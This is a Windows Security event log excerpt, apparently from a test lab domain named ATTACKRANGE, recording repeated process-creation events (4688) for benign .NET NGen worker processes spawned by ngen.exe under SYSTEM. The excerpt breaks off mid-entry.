-TaskCategory=Process Creation -OpCode=Info -RecordNumber=254438 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xea8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 518 -InterruptEvent 0 -NGENProcess 528 -Pipe 4cc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:52 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254437 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x139c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4cc -InterruptEvent 0 -NGENProcess 518 -Pipe 4e0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:52 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254436 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xbe0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4e0 -InterruptEvent 0 -NGENProcess 4cc -Pipe 508 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:52 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254435 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 508 -InterruptEvent 0 -NGENProcess 4e0 -Pipe 50c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:52 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254434 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4b0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 42c -InterruptEvent 0 -NGENProcess 50c -Pipe 4f8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:52 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254433 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1158 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4f8 -InterruptEvent 0 -NGENProcess 42c -Pipe 4c8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:52 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254432 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1310 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4c8 -InterruptEvent 0 -NGENProcess 4f8 -Pipe 4ec -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:52 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254431 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10c8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4ec -InterruptEvent 0 -NGENProcess 4c8 -Pipe 4f4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:52 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254430 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9bc - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4f4 -InterruptEvent 0 -NGENProcess 4ec -Pipe 430 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:53 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254443 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc14 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 584 -InterruptEvent 0 -NGENProcess 54c -Pipe 590 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:53 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254442 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xeec - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 590 -InterruptEvent 0 -NGENProcess 584 -Pipe 58c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:53 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254441 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x508 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 548 -InterruptEvent 0 -NGENProcess 540 -Pipe 544 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:53 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254440 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1258 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 560 -InterruptEvent 0 -NGENProcess 554 -Pipe 55c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:54 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254445 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x884 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 5b4 -InterruptEvent 0 -NGENProcess 584 -Pipe 5b8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:54 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254444 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1024 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 574 -InterruptEvent 0 -NGENProcess 540 -Pipe 578 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:55 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254446 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10e8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 540 -InterruptEvent 0 -NGENProcess 558 -Pipe 574 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:56 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254448 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x111c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 558 -InterruptEvent 0 -NGENProcess 53c -Pipe 5c4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:56 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254447 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1248 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 5c0 -InterruptEvent 0 -NGENProcess 5a4 -Pipe 5bc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254463 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1200 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process 